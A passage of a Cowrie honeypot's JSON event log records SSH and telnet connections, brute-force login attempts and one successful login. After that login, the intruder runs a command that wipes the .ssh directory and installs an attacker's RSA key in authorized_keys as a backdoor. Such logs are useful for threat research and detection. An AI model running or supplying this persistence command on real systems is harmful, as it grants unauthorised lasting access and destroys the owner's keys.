{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34522,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d87fef70d4a","protocol":"telnet","message":"New connection: 188.208.141.113:34522 (10.17.0.5:23) [session: 6d87fef70d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:36.984454Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34534,"dst_ip":"10.17.0.5","dst_port":23,"session":"5569dc9b140f","protocol":"telnet","message":"New connection: 188.208.141.113:34534 (10.17.0.5:23) [session: 5569dc9b140f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:37.634352Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":59674,"dst_ip":"10.17.0.5","dst_port":22,"session":"e56ca36ceaeb","protocol":"ssh","message":"New connection: 112.217.199.222:59674 (10.17.0.5:22) [session: e56ca36ceaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:38.809993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:38.814692Z","src_ip":"112.217.199.222","session":"e56ca36ceaeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:39.023564Z","src_ip":"112.217.199.222","session":"e56ca36ceaeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"12345","message":"login attempt [hadoop/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:39.872010Z","src_ip":"112.217.199.222","session":"e56ca36ceaeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":53220,"dst_ip":"159.203.135.109","dst_port":23,"session":"3704df04909c","protocol":"telnet","message":"New connection: 64.227.9.242:53220 (159.203.135.109:23) [session: 3704df04909c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:39.953258Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3aa048a5c85","protocol":"telnet","message":"New connection: 188.208.141.113:46464 (10.17.0.5:23) [session: a3aa048a5c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:40.774704Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46480,"dst_ip":"10.17.0.5","dst_port":23,"session":"a641126ccd21","protocol":"telnet","message":"New connection: 188.208.141.113:46480 (10.17.0.5:23) [session: a641126ccd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:41.063410Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:41.079903Z","src_ip":"112.217.199.222","session":"e56ca36ceaeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.7154803276062012,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:42.490087Z","src_ip":"188.208.141.113","session":"a3aa048a5c85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58722,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a374c11e243","protocol":"telnet","message":"New connection: 64.227.9.242:58722 (159.203.135.109:23) [session: 5a374c11e243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:45.017844Z"}
{"eventid":"cowrie.session.closed","duration":38.1742308139801,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:45.635559Z","src_ip":"188.208.141.113","session":"89b27a6f3f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":50692,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c1701e8c932","protocol":"ssh","message":"New connection: 1.235.192.214:50692 (10.17.0.5:22) [session: 5c1701e8c932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:47.581705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:47.585902Z","src_ip":"1.235.192.214","session":"5c1701e8c932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:47.774209Z","src_ip":"1.235.192.214","session":"5c1701e8c932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.050589084625244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:47.792267Z","src_ip":"64.227.9.242","session":"64a360b916e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"appldev","password":"appldev123","message":"login attempt [appldev/appldev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:48.556267Z","src_ip":"1.235.192.214","session":"5c1701e8c932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:49.745387Z","src_ip":"1.235.192.214","session":"5c1701e8c932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83126735687256,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:50.511639Z","src_ip":"64.227.9.242","session":"f8620dc7b8db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.01253151893616,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:51.193545Z","src_ip":"188.208.141.113","session":"dc76f777965e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":37800,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5dcaca33715","protocol":"telnet","message":"New connection: 64.227.9.242:37800 (159.203.135.109:23) [session: d5dcaca33715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:52.164209Z"}
{"eventid":"cowrie.session.closed","duration":34.24623227119446,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:53.654496Z","src_ip":"64.227.9.242","session":"43d8577ea9d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40572,"dst_ip":"159.203.135.109","dst_port":23,"session":"30cca50f6cbf","protocol":"telnet","message":"New connection: 64.227.9.242:40572 (159.203.135.109:23) [session: 30cca50f6cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:54.969883Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43380,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c121371997c","protocol":"telnet","message":"New connection: 188.208.141.113:43380 (10.17.0.5:23) [session: 4c121371997c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:55.798171Z"}
{"eventid":"cowrie.session.closed","duration":44.7433135509491,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:28:55.971417Z","src_ip":"188.208.141.113","session":"162dcff80143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.92308759689331,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:01.046659Z","src_ip":"64.227.9.242","session":"dcb6e606d711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74723172187805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:02.771752Z","src_ip":"64.227.9.242","session":"cb606f1fa12f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44188,"dst_ip":"10.17.0.5","dst_port":23,"session":"466f4e99c956","protocol":"telnet","message":"New connection: 188.208.141.113:44188 (10.17.0.5:23) [session: 466f4e99c956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:04.258839Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":46952,"dst_ip":"159.203.135.109","dst_port":23,"session":"96af88400360","protocol":"telnet","message":"New connection: 64.227.9.242:46952 (159.203.135.109:23) [session: 96af88400360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:04.360761Z"}
{"eventid":"cowrie.session.closed","duration":35.30182647705078,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:04.391692Z","src_ip":"64.227.9.242","session":"4f0d964282e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44194,"dst_ip":"10.17.0.5","dst_port":23,"session":"397cdde7202e","protocol":"telnet","message":"New connection: 188.208.141.113:44194 (10.17.0.5:23) [session: 397cdde7202e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:05.664433Z"}
{"eventid":"cowrie.session.closed","duration":36.460169076919556,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:08.903682Z","src_ip":"64.227.9.242","session":"f70c3b7d76e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54842,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd8d273ee81","protocol":"telnet","message":"New connection: 64.227.9.242:54842 (159.203.135.109:23) [session: 6fd8d273ee81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:10.300595Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58530,"dst_ip":"159.203.135.109","dst_port":23,"session":"793420f49631","protocol":"telnet","message":"New connection: 64.227.9.242:58530 (159.203.135.109:23) [session: 793420f49631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:12.783594Z"}
{"eventid":"cowrie.session.closed","duration":36.465779304504395,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:13.450138Z","src_ip":"188.208.141.113","session":"6d87fef70d4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50514340400696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:15.568414Z","src_ip":"188.208.141.113","session":"a641126ccd21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6773145198822,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:15.630431Z","src_ip":"64.227.9.242","session":"3704df04909c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33548,"dst_ip":"159.203.135.109","dst_port":23,"session":"9100876e243b","protocol":"telnet","message":"New connection: 64.227.9.242:33548 (159.203.135.109:23) [session: 9100876e243b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:16.036633Z"}
{"eventid":"cowrie.session.closed","duration":33.090826988220215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:18.108555Z","src_ip":"64.227.9.242","session":"5a374c11e243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35140,"dst_ip":"159.203.135.109","dst_port":23,"session":"f616f67c8192","protocol":"telnet","message":"New connection: 64.227.9.242:35140 (159.203.135.109:23) [session: f616f67c8192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:18.528808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":56814,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee3ff0b3fbb","protocol":"ssh","message":"New connection: 152.32.171.213:56814 (10.17.0.5:22) [session: bee3ff0b3fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:18.714467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:18.719492Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.23793363571167,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:18.790247Z","src_ip":"188.208.141.113","session":"54d457f037d3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:18.933619Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":37130,"dst_ip":"159.203.135.109","dst_port":23,"session":"a10bc863ea68","protocol":"telnet","message":"New connection: 64.227.9.242:37130 (159.203.135.109:23) [session: a10bc863ea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:19.665588Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"123123","message":"login attempt [steam/123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:19.822392Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:20.298540Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:20.302302Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:20.306276Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:20.525357Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:21.001154Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:21.004766Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:21.225917Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:21.230698Z","src_ip":"152.32.171.213","session":"bee3ff0b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":56820,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceb7baf6adfb","protocol":"ssh","message":"New connection: 152.32.171.213:56820 (10.17.0.5:22) [session: ceb7baf6adfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:21.443702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:29:21.448375Z","src_ip":"152.32.171.213","session":"ceb7baf6adfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyA